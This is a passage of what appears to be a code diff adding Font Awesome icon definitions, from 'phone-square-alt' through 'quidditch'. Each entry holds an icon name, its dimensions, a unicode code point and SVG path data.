1-4.289-17.518l30-69.998a15 15 0 0 1 17.16-8.707l65 14.998A14.997 14.997 0 0 1 384 126c0 160.292-129.945 290-290 290z"], + "phone-square-alt": [448, 512, [], "f87b", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h352a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48zm-16.39 307.37l-15 65A15 15 0 0 1 354 416C194 416 64 286.29 64 126a15.7 15.7 0 0 1 11.63-14.61l65-15A18.23 18.23 0 0 1 144 96a16.27 16.27 0 0 1 13.79 9.09l30 70A17.9 17.9 0 0 1 189 181a17 17 0 0 1-5.5 11.61l-37.89 31a231.91 231.91 0 0 0 110.78 110.78l31-37.89A17 17 0 0 1 299 291a17.85 17.85 0 0 1 5.91 1.21l70 30A16.25 16.25 0 0 1 384 336a17.41 17.41 0 0 1-.39 3.37z"], + "phone-volume": [384, 512, [], "f2a0", "M97.333 506.966c-129.874-129.874-129.681-340.252 0-469.933 5.698-5.698 14.527-6.632 21.263-2.422l64.817 40.513a17.187 17.187 0 0 1 6.849 20.958l-32.408 81.021a17.188 17.188 0 0 1-17.669 10.719l-55.81-5.58c-21.051 58.261-20.612 122.471 0 179.515l55.811-5.581a17.188 17.188 0 0 1 17.669 10.719l32.408 81.022a17.188 17.188 0 0 1-6.849 20.958l-64.817 40.513a17.19 17.19 0 0 1-21.264-2.422zM247.126 95.473c11.832 20.047 11.832 45.008 0 65.055-3.95 6.693-13.108 7.959-18.718 2.581l-5.975-5.726c-3.911-3.748-4.793-9.622-2.261-14.41a32.063 32.063 0 0 0 0-29.945c-2.533-4.788-1.65-10.662 2.261-14.41l5.975-5.726c5.61-5.378 14.768-4.112 18.718 2.581zm91.787-91.187c60.14 71.604 60.092 175.882 0 247.428-4.474 5.327-12.53 5.746-17.552.933l-5.798-5.557c-4.56-4.371-4.977-11.529-.93-16.379 49.687-59.538 49.646-145.933 0-205.422-4.047-4.85-3.631-12.008.93-16.379l5.798-5.557c5.022-4.813 13.078-4.394 17.552.933zm-45.972 44.941c36.05 46.322 36.108 111.149 0 157.546-4.39 5.641-12.697 6.251-17.856 1.304l-5.818-5.579c-4.4-4.219-4.998-11.095-1.285-15.931 26.536-34.564 26.534-82.572 0-117.134-3.713-4.836-3.115-11.711 1.285-15.931l5.818-5.579c5.159-4.947 13.466-4.337 17.856 1.304z"], + "photo-video": [640, 512, [], "f87c", "M608 0H160a32 32 0 0 0-32 32v96h160V64h192v320h128a32 32 0 0 0 32-32V32a32 32 0 0 0-32-32zM232 103a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm352 208a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm-168 57H32a32 32 0 0 0-32 32v288a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM96 224a32 32 0 1 1-32 32 32 32 0 0 1 32-32zm288 224H64v-32l64-64 32 32 128-128 96 96z"], + "piggy-bank": [576, 512, [], "f4d3", "M560 224h-29.5c-8.8-20-21.6-37.7-37.4-52.5L512 96h-32c-29.4 0-55.4 13.5-73 34.3-7.6-1.1-15.1-2.3-23-2.3H256c-77.4 0-141.9 55-156.8 128H56c-14.8 0-26.5-13.5-23.5-28.8C34.7 215.8 45.4 208 57 208h1c3.3 0 6-2.7 6-6v-20c0-3.3-2.7-6-6-6-28.5 0-53.9 20.4-57.5 48.6C-3.9 258.8 22.7 288 56 288h40c0 52.2 25.4 98.1 64 127.3V496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-48h128v48c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80.7c11.8-8.9 22.3-19.4 31.3-31.3H560c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16zm-128 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM256 96h128c5.4 0 10.7.4 15.9.8 0-.3.1-.5.1-.8 0-53-43-96-96-96s-96 43-96 96c0 2.1.5 4.1.6 6.2 15.2-3.9 31-6.2 47.4-6.2z"], + "pills": [576, 512, [], "f484", "M112 32C50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V144c0-61.9-50.1-112-112-112zm48 224H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm139.7-29.7c-3.5-3.5-9.4-3.1-12.3.8-45.3 62.5-40.4 150.1 15.9 206.4 56.3 56.3 143.9 61.2 206.4 15.9 4-2.9 4.3-8.8.8-12.3L299.7 226.3zm229.8-19c-56.3-56.3-143.9-61.2-206.4-15.9-4 2.9-4.3 8.8-.8 12.3l210.8 210.8c3.5 3.5 9.4 3.1 12.3-.8 45.3-62.6 40.5-150.1-15.9-206.4z"], + "pizza-slice": [512, 512, [], "f818", "M158.87.15c-16.16-1.52-31.2 8.42-35.33 24.12l-14.81 56.27c187.62 5.49 314.54 130.61 322.48 317l56.94-15.78c15.72-4.36 25.49-19.68 23.62-35.9C490.89 165.08 340.78 17.32 158.87.15zm-58.47 112L.55 491.64a16.21 16.21 0 0 0 20 19.75l379-105.1c-4.27-174.89-123.08-292.14-299.15-294.1zM128 416a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm48-152a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm104 104a32 32 0 1 1 32-32 32 32 0 0 1-32 32z"], + "place-of-worship": [640, 512, [], "f67f", "M620.61 366.55L512 320v192h112c8.84 0 16-7.16 16-16V395.96a32 32 0 0 0-19.39-29.41zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.55A32 32 0 0 0 0 395.96zm464.46-149.28L416 217.6V102.63c0-8.49-3.37-16.62-9.38-22.63L331.31 4.69c-6.25-6.25-16.38-6.25-22.62 0L233.38 80c-6 6-9.38 14.14-9.38 22.63V217.6l-48.46 29.08A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.66-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44z"], + "plane": [576, 512, [], "f072", "M480 192H365.71L260.61 8.06A16.014 16.014 0 0 0 246.71 0h-65.5c-10.63 0-18.3 10.17-15.38 20.39L214.86 192H112l-43.2-57.6c-3.02-4.03-7.77-6.4-12.8-6.4H16.01C5.6 128-2.04 137.78.49 147.88L32 256 .49 364.12C-2.04 374.22 5.6 384 16.01 384H56c5.04 0 9.78-2.37 12.8-6.4L112 320h102.86l-49.03 171.6c-2.92 10.22 4.75 20.4 15.38 20.4h65.5c5.74 0 11.04-3.08 13.89-8.06L365.71 320H480c35.35 0 96-28.65 96-64s-60.65-64-96-64z"], + "plane-arrival": [640, 512, [], "f5af", "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM44.81 205.66l88.74 80a62.607 62.607 0 0 0 25.47 13.93l287.6 78.35c26.48 7.21 54.56 8.72 81 1.36 29.67-8.27 43.44-21.21 47.25-35.71 3.83-14.5-1.73-32.71-23.37-54.96-19.28-19.82-44.35-32.79-70.83-40l-97.51-26.56L282.8 30.22c-1.51-5.81-5.95-10.35-11.66-11.91L206.05.58c-10.56-2.88-20.9 5.32-20.71 16.44l47.92 164.21-102.2-27.84-27.59-67.88c-1.93-4.89-6.01-8.57-11.02-9.93L52.72 64.75c-10.34-2.82-20.53 5-20.72 15.88l.23 101.78c.19 8.91 6.03 17.34 12.58 23.25z"], + "plane-departure": [640, 512, [], "f5b0", "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM80.55 341.27c6.28 6.84 15.1 10.72 24.33 10.71l130.54-.18a65.62 65.62 0 0 0 29.64-7.12l290.96-147.65c26.74-13.57 50.71-32.94 67.02-58.31 18.31-28.48 20.3-49.09 13.07-63.65-7.21-14.57-24.74-25.27-58.25-27.45-29.85-1.94-59.54 5.92-86.28 19.48l-98.51 49.99-218.7-82.06a17.799 17.799 0 0 0-18-1.11L90.62 67.29c-10.67 5.41-13.25 19.65-5.17 28.53l156.22 98.1-103.21 52.38-72.35-36.47a17.804 17.804 0 0 0-16.07.02L9.91 230.22c-10.44 5.3-13.19 19.12-5.57 28.08l76.21 82.97z"], + "plane-slash": [640, 512, [], "e069", "M32.48,147.88,64,256,32.48,364.13A16,16,0,0,0,48,384H88a16,16,0,0,0,12.8-6.41L144,320H246.85l-49,171.59A16,16,0,0,0,213.2,512h65.5a16,16,0,0,0,13.89-8.06l66.6-116.54L34.35,136.34A15.47,15.47,0,0,0,32.48,147.88ZM633.82,458.09,455.14,320H512c35.34,0,96-28.66,96-64s-60.66-64-96-64H397.7L292.61,8.06C290.06,3.61,283.84,0,278.71,0H213.2a16,16,0,0,0-15.38,20.39l36.94,129.29L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09Z"], + "play": [448, 512, [], "f04b", "M424.4 214.7L72.4 6.6C43.8-10.3 0 6.1 0 47.9V464c0 37.5 40.7 60.1 72.4 41.3l352-208c31.4-18.5 31.5-64.1 0-82.6z"], + "play-circle": [512, 512, [], "f144", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm115.7 272l-176 101c-15.8 8.8-35.7-2.5-35.7-21V152c0-18.4 19.8-29.8 35.7-21l176 107c16.4 9.2 16.4 32.9 0 42z"], + "plug": [384, 512, [], "f1e6", "M320,32a32,32,0,0,0-64,0v96h64Zm48,128H16A16,16,0,0,0,0,176v32a16,16,0,0,0,16,16H32v32A160.07,160.07,0,0,0,160,412.8V512h64V412.8A160.07,160.07,0,0,0,352,256V224h16a16,16,0,0,0,16-16V176A16,16,0,0,0,368,160ZM128,32a32,32,0,0,0-64,0v96h64Z"], + "plus": [448, 512, [], "f067", "M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"], + "plus-circle": [512, 512, [], "f055", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm144 276c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92h-92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z"], + "plus-square": [448, 512, [], "f0fe", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-32 252c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92H92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z"], + "podcast": [448, 512, [], "f2ce", "M267.429 488.563C262.286 507.573 242.858 512 224 512c-18.857 0-38.286-4.427-43.428-23.437C172.927 460.134 160 388.898 160 355.75c0-35.156 31.142-43.75 64-43.75s64 8.594 64 43.75c0 32.949-12.871 104.179-20.571 132.813zM156.867 288.554c-18.693-18.308-29.958-44.173-28.784-72.599 2.054-49.724 42.395-89.956 92.124-91.881C274.862 121.958 320 165.807 320 220c0 26.827-11.064 51.116-28.866 68.552-2.675 2.62-2.401 6.986.628 9.187 9.312 6.765 16.46 15.343 21.234 25.363 1.741 3.654 6.497 4.66 9.449 1.891 28.826-27.043 46.553-65.783 45.511-108.565-1.855-76.206-63.595-138.208-139.793-140.369C146.869 73.753 80 139.215 80 220c0 41.361 17.532 78.7 45.55 104.989 2.953 2.771 7.711 1.77 9.453-1.887 4.774-10.021 11.923-18.598 21.235-25.363 3.029-2.2 3.304-6.566.629-9.185zM224 0C100.204 0 0 100.185 0 224c0 89.992 52.602 165.647 125.739 201.408 4.333 2.118 9.267-1.544 8.535-6.31-2.382-15.512-4.342-30.946-5.406-44.339-.146-1.836-1.149-3.486-2.678-4.512-47.4-31.806-78.564-86.016-78.187-147.347.592-96.237 79.29-174.648 175.529-174.899C320.793 47.747 400 126.797 400 224c0 61.932-32.158 116.49-80.65 147.867-.999 14.037-3.069 30.588-5.624 47.23-.732 4.767 4.203 8.429 8.535 6.31C395.227 389.727 448 314.187 448 224 448 100.205 347.815 0 224 0zm0 160c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64z"], + "poll": [448, 512, [], "f681", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM160 368c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V240c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v128zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V144c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v224zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-64c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v64z"], + "poll-h": [448, 512, [], "f682", "M448 432V80c0-26.5-21.5-48-48-48H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48zM112 192c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h128c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-64z"], + "poo": [512, 512, [], "f2fe", "M451.4 369.1C468.7 356 480 335.4 480 312c0-39.8-32.2-72-72-72h-14.1c13.4-11.7 22.1-28.8 22.1-48 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C250.3 14.6 256 30.6 256 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 19.2 8.7 36.3 22.1 48H104c-39.8 0-72 32.2-72 72 0 23.4 11.3 44 28.6 57.1C26.3 374.6 0 404.1 0 440c0 39.8 32.2 72 72 72h368c39.8 0 72-32.2 72-72 0-35.9-26.3-65.4-60.6-70.9zM192 256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm159.5 139C341 422.9 293 448 256 448s-85-25.1-95.5-53c-2-5.3 2-11 7.8-11h175.4c5.8 0 9.8 5.7 7.8 11zM320 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "poo-storm": [448, 512, [], "f75a", "M308 336h-57.7l17.3-64.9c2-7.6-3.7-15.1-11.6-15.1h-68c-6 0-11.1 4.5-11.9 10.4l-16 120c-1 7.2 4.6 13.6 11.9 13.6h59.3l-23 97.2c-1.8 7.6 4 14.8 11.7 14.8 4.2 0 8.2-2.2 10.4-6l88-152c4.6-8-1.2-18-10.4-18zm66.4-111.3c5.9-9.6 9.6-20.6 9.6-32.7 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C218.3 14.6 224 30.6 224 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 12.1 3.7 23.1 9.6 32.7C32.6 228 0 262.2 0 304c0 44 36 80 80 80h48.3c.1-.6 0-1.2 0-1.8l16-120c3-21.8 21.7-38.2 43.7-38.2h68c13.8 0 26.5 6.3 34.9 17.2s11.2 24.8 7.6 38.1l-6.6 24.7h16c15.7 0 30.3 8.4 38.1 22 7.8 13.6 7.8 30.5 0 44l-8.1 14h30c44 0 80-36 80-80 .1-41.8-32.5-76-73.5-79.3z"], + "poop": [512, 512, [], "f619", "M451.36 369.14C468.66 355.99 480 335.41 480 312c0-39.77-32.24-72-72-72h-14.07c13.42-11.73 22.07-28.78 22.07-48 0-35.35-28.65-64-64-64h-5.88c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96-5.17 0-10.15.74-15.11 1.52C250.31 14.64 256 30.62 256 48c0 44.18-35.82 80-80 80h-16c-35.35 0-64 28.65-64 64 0 19.22 8.65 36.27 22.07 48H104c-39.76 0-72 32.23-72 72 0 23.41 11.34 43.99 28.64 57.14C26.31 374.62 0 404.12 0 440c0 39.76 32.24 72 72 72h368c39.76 0 72-32.24 72-72 0-35.88-26.31-65.38-60.64-70.86z"], + "portrait": [384, 512, [], "f3e0", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM192 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 384 80 375.4 80 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"], + "pound-sign": [320, 512, [], "f154", "M308 352h-45.495c-6.627 0-12 5.373-12 12v50.848H128V288h84c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-84v-63.556c0-32.266 24.562-57.086 61.792-57.086 23.658 0 45.878 11.505 57.652 18.849 5.151 3.213 11.888 2.051 15.688-2.685l28.493-35.513c4.233-5.276 3.279-13.005-2.119-17.081C273.124 54.56 236.576 32 187.931 32 106.026 32 48 84.742 48 157.961V224H20c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h28v128H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h296c6.627 0 12-5.373 12-12V364c0-6.627-5.373-12-12-12z"], + "power-off": [512, 512, [], "f011", "M400 54.1c63 45 104 118.6 104 201.9 0 136.8-110.8 247.7-247.5 248C120 504.3 8.2 393 8 256.4 7.9 173.1 48.9 99.3 111.8 54.2c11.7-8.3 28-4.8 35 7.7L162.6 90c5.9 10.5 3.1 23.8-6.6 31-41.5 30.8-68 79.6-68 134.9-.1 92.3 74.5 168.1 168 168.1 91.6 0 168.6-74.2 168-169.1-.3-51.8-24.7-101.8-68.1-134-9.7-7.2-12.4-20.5-6.5-30.9l15.8-28.1c7-12.4 23.2-16.1 34.8-7.8zM296 264V24c0-13.3-10.7-24-24-24h-32c-13.3 0-24 10.7-24 24v240c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24z"], + "pray": [384, 512, [], "f683", "M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z"], + "praying-hands": [640, 512, [], "f684", "M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z"], + "prescription": [384, 512, [], "f5b1", "M301.26 352l78.06-78.06c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0L256 306.74l-83.96-83.96C219.31 216.8 256 176.89 256 128c0-53.02-42.98-96-96-96H16C7.16 32 0 39.16 0 48v256c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-80h18.75l128 128-78.06 78.06c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0L256 397.25l78.06 78.06c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63L301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-14.36 32-32 32H64V96z"], + "prescription-bottle": [384, 512, [], "f485", "M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v64zM360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24z"], + "prescription-bottle-alt": [384, 512, [], "f486", "M360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24zM32 480c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v352zm64-184c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48z"], + "print": [512, 512, [], "f02f", "M448 192V77.25c0-8.49-3.37-16.62-9.37-22.63L393.37 9.37c-6-6-14.14-9.37-22.63-9.37H96C78.33 0 64 14.33 64 32v160c-35.35 0-64 28.65-64 64v112c0 8.84 7.16 16 16 16h48v96c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-96h48c8.84 0 16-7.16 16-16V256c0-35.35-28.65-64-64-64zm-64 256H128v-96h256v96zm0-224H128V64h192v48c0 8.84 7.16 16 16 16h48v96zm48 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "procedures": [640, 512, [], "f487", "M528 224H272c-8.8 0-16 7.2-16 16v144H64V144c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v352c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48h512v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-61.9-50.1-112-112-112zM136 96h126.1l27.6 55.2c5.9 11.8 22.7 11.8 28.6 0L368 51.8 390.1 96H512c8.8 0 16-7.2 16-16s-7.2-16-16-16H409.9L382.3 8.8C376.4-3 359.6-3 353.7 8.8L304 108.2l-19.9-39.8c-1.4-2.7-4.1-4.4-7.2-4.4H136c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm24 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z"], + "project-diagram": [640, 512, [], "f542", "M384 320H256c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM192 32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v128c0 17.67 14.33 32 32 32h95.72l73.16 128.04C211.98 300.98 232.4 288 256 288h.28L192 175.51V128h224V64H192V32zM608 0H480c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32z"], + "pump-medical": [384, 512, [], "e06a", "M235.51,159.82H84.24A64,64,0,0,0,20.51,218L.14,442a64,64,0,0,0,63.74,69.8h192A64,64,0,0,0,319.61,442L299.24,218A64,64,0,0,0,235.51,159.82Zm4.37,173.33a13.35,13.35,0,0,1-13.34,13.34h-40v40a13.33,13.33,0,0,1-13.33,13.33H146.54a13.33,13.33,0,0,1-13.33-13.33v-40h-40a13.34,13.34,0,0,1-13.33-13.34V306.49a13.33,13.33,0,0,1,13.33-13.34h40v-40a13.33,13.33,0,0,1,13.33-13.33h26.67a13.33,13.33,0,0,1,13.33,13.33v40h40a13.34,13.34,0,0,1,13.34,13.34ZM379.19,93.88,335.87,50.56a64,64,0,0,0-45.24-18.74H223.88a32,32,0,0,0-32-32h-64a32,32,0,0,0-32,32v96h128v-32h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.19,93.88Z"], + "pump-soap": [384, 512, [], "e06b", "M235.63,160H84.37a64,64,0,0,0-63.74,58.21L.27,442.21A64,64,0,0,0,64,512H256a64,64,0,0,0,63.74-69.79l-20.36-224A64,64,0,0,0,235.63,160ZM160,416c-33.12,0-60-26.33-60-58.75,0-25,35.7-75.47,52-97.27A10,10,0,0,1,168,260c16.33,21.8,52,72.27,52,97.27C220,389.67,193.12,416,160,416ZM379.31,94.06,336,50.74A64,64,0,0,0,290.75,32H224A32,32,0,0,0,192,0H128A32,32,0,0,0,96,32v96H224V96h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.31,94.06Z"], + "puzzle-piece": [576, 512, [], "f12e", "M519.442 288.651c-41.519 0-59.5 31.593-82.058 31.593C377.409 320.244 432 144 432 144s-196.288 80-196.288-3.297c0-35.827 36.288-46.25 36.288-85.985C272 19.216 243.885 0 210.539 0c-34.654 0-66.366 18.891-66.366 56.346 0 41.364 31.711 59.277 31.711 81.75C175.885 207.719 0 166.758 0 166.758v333.237s178.635 41.047 178.635-28.662c0-22.473-40-40.107-40-81.471 0-37.456 29.25-56.346 63.577-56.346 33.673 0 61.788 19.216 61.788 54.717 0 39.735-36.288 50.158-36.288 85.985 0 60.803 129.675 25.73 181.23 25.73 0 0-34.725-120.101 25.827-120.101 35.962 0 46.423 36.152 86.308 36.152C556.712 416 576 387.99 576 354.443c0-34.199-18.962-65.792-56.558-65.792z"], + "qrcode": [448, 512, [], "f029", "M0 224h192V32H0v192zM64 96h64v64H64V96zm192-64v192h192V32H256zm128 128h-64V96h64v64zM0 480h192V288H0v192zm64-128h64v64H64v-64zm352-64h32v128h-96v-32h-32v96h-64V288h96v32h64v-32zm0 160h32v32h-32v-32zm-64 0h32v32h-32v-32z"], + "question": [384, 512, [], "f128", "M202.021 0C122.202 0 70.503 32.703 29.914 91.026c-7.363 10.58-5.093 25.086 5.178 32.874l43.138 32.709c10.373 7.865 25.132 6.026 33.253-4.148 25.049-31.381 43.63-49.449 82.757-49.449 30.764 0 68.816 19.799 68.816 49.631 0 22.552-18.617 34.134-48.993 51.164-35.423 19.86-82.299 44.576-82.299 106.405V320c0 13.255 10.745 24 24 24h72.471c13.255 0 24-10.745 24-24v-5.773c0-42.86 125.268-44.645 125.268-160.627C377.504 66.256 286.902 0 202.021 0zM192 373.459c-38.196 0-69.271 31.075-69.271 69.271 0 38.195 31.075 69.27 69.271 69.27s69.271-31.075 69.271-69.271-31.075-69.27-69.271-69.27z"], + "question-circle": [512, 512, [], "f059", "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"], + "quidditch": [640, 512, [], "f458", "M256.5 216.8L343.2 326s-16.6 102.4-76.6 150.1C206.7 523.8 0 510.2 0 